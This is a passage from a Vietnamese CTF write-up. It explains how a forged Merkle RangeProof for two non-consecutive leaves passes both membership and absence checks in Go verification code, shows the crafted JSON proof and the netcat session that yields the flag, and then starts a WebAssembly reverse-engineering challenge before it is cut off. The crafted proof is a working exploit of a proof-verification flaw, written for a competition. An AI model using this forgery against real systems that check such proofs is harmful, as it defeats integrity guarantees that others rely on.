        <span class="hljs-keyword">return</span> errors.New(<span class="hljs-string">"absence not proved by left path"</span>)

    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> cmp == <span class="hljs-number">0</span> {
        <span class="hljs-keyword">return</span> errors.New(<span class="hljs-string">"absence disproved via first item #0"</span>)
    }
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(proof.LeftPath) == <span class="hljs-number">0</span> {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>
    }
    <span class="hljs-keyword">if</span> proof.LeftPath.isRightmost() {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>
    }

    <span class="hljs-comment">// See if any of the leaves are greater than key.</span>
    <span class="hljs-keyword">for</span> i := <span class="hljs-number">1</span>; i &lt; <span class="hljs-built_in">len</span>(proof.Leaves); i++ {
        leaf := proof.Leaves[i]
        cmp := bytes.Compare(key, leaf.Key)
        <span class="hljs-keyword">switch</span> {
        <span class="hljs-keyword">case</span> cmp &lt; <span class="hljs-number">0</span>:
            <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span>
        <span class="hljs-keyword">case</span> cmp == <span class="hljs-number">0</span>:
            <span class="hljs-keyword">return</span> fmt.Errorf(<span class="hljs-string">"absence disproved via item #%v"</span>, i)
        <span class="hljs-keyword">default</span>:
            <span class="hljs-comment">// if i == len(proof.Leaves)-1 {</span>
            <span class="hljs-comment">// If last item, check whether</span>
            <span class="hljs-comment">// it's the last item in the tree.</span>

            <span class="hljs-comment">// }</span>
            <span class="hljs-keyword">continue</span>
        }
    }

    <span class="hljs-comment">// It's still a valid proof if our last leaf is the rightmost child.</span>
    <span class="hljs-keyword">if</span> proof.treeEnd {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span> <span class="hljs-comment">// OK!</span>
    }

    <span class="hljs-comment">// It's not a valid absence proof.</span>
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(proof.Leaves) &lt; <span class="hljs-number">2</span> {
        <span class="hljs-keyword">return</span> errors.New(<span class="hljs-string">"absence not proved by right leaf (need another leaf?)"</span>)
    }
    <span class="hljs-keyword">return</span> errors.New(<span class="hljs-string">"absence not proved by right leaf"</span>)

}
</code></pre>
<p>Giả sử mình build được một tree như hình dưới và có được proof của từng leaf (B), (C), (D) (dùng <code>tree.GetWithProof</code>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706749677861/8793c334-2e1c-43e4-9d25-99882642c3f1.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"left_path"</span>: [{
        <span class="hljs-attr">"height"</span>: <span class="hljs-number">2</span>,
        <span class="hljs-attr">"size"</span>: <span class="hljs-number">4</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"left"</span>: <span class="hljs-literal">null</span>,
        <span class="hljs-attr">"right"</span>: <span class="hljs-string">"ZsAR4E4hOkLqkpI+3Lk1qOcQd8CVQPEAJoMHdXffhV8="</span>
    }, {
        <span class="hljs-attr">"height"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"size"</span>: <span class="hljs-number">2</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"left"</span>: <span class="hljs-string">"KxqDTOAA+wMrOxBGM7zRxHDgPOaVSvPyF0vhlGmXvXI="</span>,
        <span class="hljs-attr">"right"</span>: <span class="hljs-literal">null</span>
    }],
    <span class="hljs-attr">"inner_nodes"</span>: <span class="hljs-literal">null</span>,
    <span class="hljs-attr">"leaves"</span>: [{
        <span class="hljs-attr">"key"</span>: <span class="hljs-string">"506C656173652067697665206D6520666C6166"</span>,
        <span class="hljs-attr">"value"</span>: <span class="hljs-string">"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855"</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>
    }]
}

{
    <span class="hljs-attr">"left_path"</span>: [{
        <span class="hljs-attr">"height"</span>: <span class="hljs-number">2</span>,
        <span class="hljs-attr">"size"</span>: <span class="hljs-number">4</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"left"</span>: <span class="hljs-string">"iUcZCYGqOynqncfG8RUXccQo3O8mWXYSZVVthc7V3po="</span>,
        <span class="hljs-attr">"right"</span>: <span class="hljs-literal">null</span>
    }, {
        <span class="hljs-attr">"height"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"size"</span>: <span class="hljs-number">2</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"left"</span>: <span class="hljs-literal">null</span>,
        <span class="hljs-attr">"right"</span>: <span class="hljs-string">"AaLzCR0iVpGoOKYMpJRTw85FKMcgz01LJ9N2TYubO8I="</span>
    }],
    <span class="hljs-attr">"inner_nodes"</span>: <span class="hljs-literal">null</span>,
    <span class="hljs-attr">"leaves"</span>: [{
        <span class="hljs-attr">"key"</span>: <span class="hljs-string">"506C656173652067697665206D6520666C6167"</span>,
        <span class="hljs-attr">"value"</span>: <span class="hljs-string">"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855"</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>
    }]
}

{
    <span class="hljs-attr">"left_path"</span>: [{
        <span class="hljs-attr">"height"</span>: <span class="hljs-number">2</span>,
        <span class="hljs-attr">"size"</span>: <span class="hljs-number">4</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"left"</span>: <span class="hljs-string">"iUcZCYGqOynqncfG8RUXccQo3O8mWXYSZVVthc7V3po="</span>,
        <span class="hljs-attr">"right"</span>: <span class="hljs-literal">null</span>
    }, {
        <span class="hljs-attr">"height"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"size"</span>: <span class="hljs-number">2</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"left"</span>: <span class="hljs-string">"pvscYKxyFDUPxP0R6qEYaAMYdJC4G2VXKhgJAuAh4So="</span>,
        <span class="hljs-attr">"right"</span>: <span class="hljs-literal">null</span>
    }],
    <span class="hljs-attr">"inner_nodes"</span>: <span class="hljs-literal">null</span>,
    <span class="hljs-attr">"leaves"</span>: [{
        <span class="hljs-attr">"key"</span>: <span class="hljs-string">"506C656173652067697665206D6520666C6168"</span>,
        <span class="hljs-attr">"value"</span>: <span class="hljs-string">"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855"</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>
    }]
}
</code></pre>
<p>Việc còn lại là craft một RangeProof hợp lệ cho hai leaves (B), (D) thoả <code>proof.Verify</code> đồng thời cũng thoả <code>proof.VerifyAbsence</code> theo TH3. Ở đây <code>left_path</code> là path của leaf đầu tiên trong proof: (B), <code>inner_nodes</code> là node (F) (để prove leaf (D) trong tree).</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"left_path"</span>: [{
        <span class="hljs-attr">"height"</span>: <span class="hljs-number">2</span>,
        <span class="hljs-attr">"size"</span>: <span class="hljs-number">4</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"left"</span>: <span class="hljs-literal">null</span>,
        <span class="hljs-attr">"right"</span>: <span class="hljs-string">"ZsAR4E4hOkLqkpI+3Lk1qOcQd8CVQPEAJoMHdXffhV8="</span>
    }, {
        <span class="hljs-attr">"height"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"size"</span>: <span class="hljs-number">2</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>,
        <span class="hljs-attr">"left"</span>: <span class="hljs-string">"KxqDTOAA+wMrOxBGM7zRxHDgPOaVSvPyF0vhlGmXvXI="</span>,
        <span class="hljs-attr">"right"</span>: <span class="hljs-literal">null</span>
    }],
    <span class="hljs-attr">"inner_nodes"</span>: [
        [{
            <span class="hljs-attr">"height"</span>: <span class="hljs-number">1</span>,
            <span class="hljs-attr">"size"</span>: <span class="hljs-number">2</span>,
            <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>,
            <span class="hljs-attr">"left"</span>: <span class="hljs-string">"pvscYKxyFDUPxP0R6qEYaAMYdJC4G2VXKhgJAuAh4So="</span>,
            <span class="hljs-attr">"right"</span>: <span class="hljs-literal">null</span>
        }]
    ],
    <span class="hljs-attr">"leaves"</span>: [{
        <span class="hljs-attr">"key"</span>: <span class="hljs-string">"506C656173652067697665206D6520666C6166"</span>,
        <span class="hljs-attr">"value"</span>: <span class="hljs-string">"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855"</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>
    }, {
        <span class="hljs-attr">"key"</span>: <span class="hljs-string">"506C656173652067697665206D6520666C6168"</span>,
        <span class="hljs-attr">"value"</span>: <span class="hljs-string">"E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855"</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-number">1</span>
    }]
}
</code></pre>
<p>Xong rồi lấy flag thôi.</p>
<pre><code class="lang-bash">% nc 139.162.24.230 31337
56253716365461903439579434265850711409481442763884290297661026675117448458917 51329327614657051210900078708276432162440881597644333974821193751328600339415
UGxlYXNlIGdpdmUgbWUgZmxhZQ==
102086226051766630552792704280250843632675908569658191228801301268745350844965 62296438785217030217012294404635525266252862204816566664977743056729507660424
UGxlYXNlIGdpdmUgbWUgZmxhZg==
82244573064920333839263765403149631407899576805032556451760917404840839054072 48676597670866078956804658634678317277475067664041793228043885120586039346849
UGxlYXNlIGdpdmUgbWUgZmxhZw==
46537078340079849868547597696981012705638642765494322583968235942524680546329 98220644782654064088480205599630519753561646443795431991925613459538716705804
UGxlYXNlIGdpdmUgbWUgZmxhaA==
26924463172195072599691663032962268721216085161071385559744604832313382111263 43280396618361057956315235962661331591263251392719006884668977168111764977253
.
46537078340079849868547597696981012705638642765494322583968235942524680546329
98220644782654064088480205599630519753561646443795431991925613459538716705804
eyJsZWZ0X3BhdGgiOlt7ImhlaWdodCI6Miwic2l6ZSI6NCwidmVyc2lvbiI6MSwibGVmdCI6bnVsbCwicmlnaHQiOiJac0FSNEU0aE9rTHFrcEkrM0xrMXFPY1FkOENWUVBFQUpvTUhkWGZmaFY4PSJ9LHsiaGVpZ2h0IjoxLCJzaXplIjoyLCJ2ZXJzaW9uIjoxLCJsZWZ0IjoiS3hxRFRPQUErd01yT3hCR003elJ4SERnUE9hVlN2UHlGMHZobEdtWHZYST0iLCJyaWdodCI6bnVsbH1dLCJpbm5lcl9ub2RlcyI6W1t7ImhlaWdodCI6MSwic2l6ZSI6MiwidmVyc2lvbiI6MSwibGVmdCI6InB2c2NZS3h5RkRVUHhQMFI2cUVZYUFNWWRKQzRHMlZYS2hnSkF1QWg0U289IiwicmlnaHQiOm51bGx9XV0sImxlYXZlcyI6W3sia2V5IjoiNTA2QzY1NjE3MzY1MjA2NzY5NzY2NTIwNkQ2NTIwNjY2QzYxNjYiLCJ2YWx1ZSI6IkUzQjBDNDQyOThGQzFDMTQ5QUZCRjRDODk5NkZCOTI0MjdBRTQxRTQ2NDlCOTM0Q0E0OTU5OTFCNzg1MkI4NTUiLCJ2ZXJzaW9uIjoxfSx7ImtleSI6IjUwNkM2NTYxNzM2NTIwNjc2OTc2NjUyMDZENjUyMDY2NkM2MTY4IiwidmFsdWUiOiJFM0IwQzQ0Mjk4RkMxQzE0OUFGQkY0Qzg5OTZGQjkyNDI3QUU0MUU0NjQ5QjkzNENBNDk1OTkxQjc4NTJCODU1IiwidmVyc2lvbiI6MX1dfQ==
TetCTF{l34f_c0ns3cut1v3n3ss_n0t_3nf0rc3d}
</code></pre>
<h1 id="heading-reverse-engineering">Reverse Engineering</h1>
<h2 id="heading-babyasm">babyasm</h2>
<p><strong><em>credit: sonx</em></strong></p>
<p>Bài cho 1 trang web với input để nhập flag, nếu đúng in ra 'Correct!'.</p>
<p>Code xử lý input của trang web như sau:</p>
<pre><code class="lang-javascript">code = [<span class="hljs-number">0</span>, <span class="hljs-number">97</span>, <span class="hljs-number">115</span>, <span class="hljs-number">109</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">56</span>, <span class="hljs-number">9</span>, <span class="hljs-number">80</span>, <span class="hljs-number">0</span>, <span class="hljs-number">95</span>, <span class="hljs-number">1</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">80</span>, <span class="hljs-number">0</span>, <span class="hljs-number">94</span>, <span class="hljs-number">99</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">96</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">96</span>, <span class="hljs-number">1</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">100</span>, <span class="hljs-number">1</span>, <span class="hljs-number">96</span>, <span class="hljs-number">3</span>, <span class="hljs-number">99</span>, <span class="hljs-number">1</span>, <span class="hljs-number">127</span>, <span class="hljs-number">127</span>, <span class="hljs-number">0</span>, <span class="hljs-number">96</span>, <span class="hljs-number">2</span>, <span class="hljs-number">99</span>, <span class="hljs-number">1</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">127</span>, <span class="hljs-number">96</span>, <span class="hljs-number">4</span>, <span class="hljs-number">99</span>, <span class="hljs-number">1</span>, <span class="hljs-number">127</span>, <span class="hljs-number">127</span>, <span class="hljs-number">127</span>, <span class="hljs-number">0</span>, <span class="hljs-number">96</span>, <span class="hljs-number">1</span>, <span class="hljs-number">99</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">127</span>, <span class="hljs-number">96</span>, <span class="hljs-number">1</span>, <span class="hljs-number">99</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">127</span>, <span class="hljs-number">3</span>, <span class="hljs-number">8</span>, <span class="hljs-number">7</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">6</span>, <span class="hljs-number">118</span>, <span class="hljs-number">20</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">224</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">229</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">20</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">177</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">155</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">244</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">236</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">197</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">212</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">237</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">231</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">238</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">239</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">223</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">244</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">231</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">225</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">200</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">20</span>, <span class="hljs-number">11</span>, <span class="hljs-number">127</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">59</span>, <span class="hljs-number">11</span>, <span class="hljs-number">7</span>, <span class="hljs-number">45</span>, <span class="hljs-number">7</span>, <span class="hljs-number">1</span>, <span class="hljs-number">49</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">4</span>, <span class="hljs-number">105</span>, <span class="hljs-number">110</span>, <span class="hljs-number">105</span>, <span class="hljs-number">116</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">10</span>, <span class="hljs-number">97</span>, <span class="hljs-number">114</span>, <span class="hljs-number">114</span>, <span class="hljs-number">97</span>, <span class="hljs-number">121</span>, <span class="hljs-number">95</span>, <span class="hljs-number">102</span>, <span class="hljs-number">105</span>, <span class="hljs-number">108</span>, <span class="hljs-number">108</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">51</span>, <span class="hljs-number">0</span>, <span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">52</span>, <span class="hljs-number">0</span>, <span class="hljs-number">4</span>, <span class="hljs-number">1</span>, <span class="hljs-number">53</span>, <span class="hljs-number">0</span>, <span class="hljs-number">5</span>, <span class="hljs-number">5</span>, <span class="hljs-number">99</span>, <span class="hljs-number">104</span>, <span class="hljs-number">101</span>, <span class="hljs-number">99</span>, <span class="hljs-number">107</span>, <span class="hljs-number">0</span>, <span class="hljs-number">6</span>, <span class="hljs-number">10</span>, <span class="hljs-number">184</span>, <span class="hljs-number">8</span>, <span class="hljs-number">7</span>, <span class="hljs-number">142</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">35</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">19</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">0</span>, <span class="hljs-number">35</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">55</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">1</span>, <span class="hljs-number">35</span>, <span class="hljs-number">2</span>, <span class="hljs-number">65</span>, <span class="hljs-number">32</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">2</span>, <span class="hljs-number">35</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">36</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">3</span>, <span class="hljs-number">35</span>, <span class="hljs-number">4</span>, <span class="hljs-number">65</span>, <span class="hljs-number">19</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">4</span>, <span class="hljs-number">35</span>, <span class="hljs-number">5</span>, <span class="hljs-number">65</span>, <span class="hljs-number">55</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">5</span>, <span class="hljs-number">35</span>, <span class="hljs-number">6</span>, <span class="hljs-number">65</span>, <span class="hljs-number">32</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">6</span>, <span class="hljs-number">35</span>, <span class="hljs-number">7</span>, <span class="hljs-number">65</span>, <span class="hljs-number">36</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">7</span>, <span class="hljs-number">35</span>, <span class="hljs-number">8</span>, <span class="hljs-number">65</span>, <span class="hljs-number">19</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">8</span>, <span class="hljs-number">35</span>, <span class="hljs-number">9</span>, <span class="hljs-number">65</span>, <span class="hljs-number">55</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">9</span>, <span class="hljs-number">35</span>, <span class="hljs-number">10</span>, <span class="hljs-number">65</span>, <span class="hljs-number">32</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">10</span>, <span class="hljs-number">35</span>, <span class="hljs-number">11</span>, <span class="hljs-number">65</span>, <span class="hljs-number">36</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">11</span>, <span class="hljs-number">35</span>, <span class="hljs-number">12</span>, <span class="hljs-number">65</span>, <span class="hljs-number">19</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">12</span>, <span class="hljs-number">35</span>, <span class="hljs-number">13</span>, <span class="hljs-number">65</span>, <span class="hljs-number">55</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">13</span>, <span class="hljs-number">35</span>, <span class="hljs-number">14</span>, <span class="hljs-number">65</span>, <span class="hljs-number">32</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">14</span>, <span class="hljs-number">35</span>, <span class="hljs-number">15</span>, <span class="hljs-number">65</span>, <span class="hljs-number">36</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">15</span>, <span class="hljs-number">35</span>, <span class="hljs-number">16</span>, <span class="hljs-number">65</span>, <span class="hljs-number">19</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">16</span>, <span class="hljs-number">35</span>, <span class="hljs-number">17</span>, <span class="hljs-number">65</span>, <span class="hljs-number">55</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">17</span>, <span class="hljs-number">35</span>, <span class="hljs-number">18</span>, <span class="hljs-number">65</span>, <span class="hljs-number">32</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">18</span>, <span class="hljs-number">35</span>, <span class="hljs-number">19</span>, <span class="hljs-number">65</span>, <span class="hljs-number">36</span>, <span class="hljs-number">115</span>, <span class="hljs-number">36</span>, <span class="hljs-number">19</span>, <span class="hljs-number">11</span>, <span class="hljs-number">9</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">251</span>, <span class="hljs-number">7</span>, <span class="hljs-number">1</span>, <span class="hljs-number">16</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">22</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">32</span>, <span class="hljs-number">2</span>, <span class="hljs-number">65</span>, <span class="hljs-number">19</span>, <span class="hljs-number">106</span>, <span class="hljs-number">65</span>, <span class="hljs-number">64</span>, <span class="hljs-number">107</span>, <span class="hljs-number">251</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">251</span>, <span class="hljs-number">16</span>, <span class="hljs-number">1</span>, <span class="hljs-number">11</span>, <span class="hljs-number">13</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">251</span>, <span class="hljs-number">11</span>, <span class="hljs-number">1</span>, <span class="hljs-number">251</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">11</span>, <span class="hljs-number">109</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">0</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">2</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">2</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">32</span>, <span class="hljs-number">3</span>, <span class="hljs-number">106</span>, <span class="hljs-number">65</span>, <span class="hljs-number">32</span>, <span class="hljs-number">115</span>, <span class="hljs-number">16</span>, <span class="hljs-number">2</span>, <span class="hljs-number">5</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">2</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">2</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">32</span>, <span class="hljs-number">3</span>, <span class="hljs-number">106</span>, <span class="hljs-number">65</span>, <span class="hljs-number">36</span>, <span class="hljs-number">115</span>, <span class="hljs-number">16</span>, <span class="hljs-number">2</span>, <span class="hljs-number">5</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">2</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">2</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">2</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">32</span>, <span class="hljs-number">3</span>, <span class="hljs-number">106</span>, <span class="hljs-number">65</span>, <span class="hljs-number">19</span>, <span class="hljs-number">115</span>, <span class="hljs-number">16</span>, <span class="hljs-number">2</span>, <span class="hljs-number">5</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">3</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">2</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">32</span>, <span class="hljs-number">2</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">32</span>, <span class="hljs-number">3</span>, <span class="hljs-number">106</span>, <span class="hljs-number">65</span>, <span class="hljs-number">55</span>, <span class="hljs-number">115</span>, <span class="hljs-number">16</span>, <span class="hljs-number">2</span>, <span class="hljs-number">11</span>, <span class="hljs-number">11</span>, <span class="hljs-number">11</span>, <span class="hljs-number">11</span>, <span class="hljs-number">11</span>, <span class="hljs-number">172</span>, <span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">127</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">0</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">137</span>, <span class="hljs-number">175</span>, <span class="hljs-number">2</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span class="hljs-number">1</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">106</span>, <span class="hljs-number">33</span>, <span class="hljs-number">1</span>, <span class="hljs-number">5</span>, <span class="hljs-number">11</span>, <span class="hljs-number">32</span>, <span class="hljs-number">0</span>, <span class="hljs-number">65</span>, <span class="hljs-number">1</span>, <span class="hljs-number">16</span>, <span class="hljs-number">3</span>, <span class="hljs-number">65</span>, <span class="hljs-number">200</span>, <span class="hljs-number">4</span>, <span class="hljs-number">70</span>, <span class="hljs-number">4</span>, <span class="hljs-number">64</span>, <span class="hljs-number">32</span>, <span 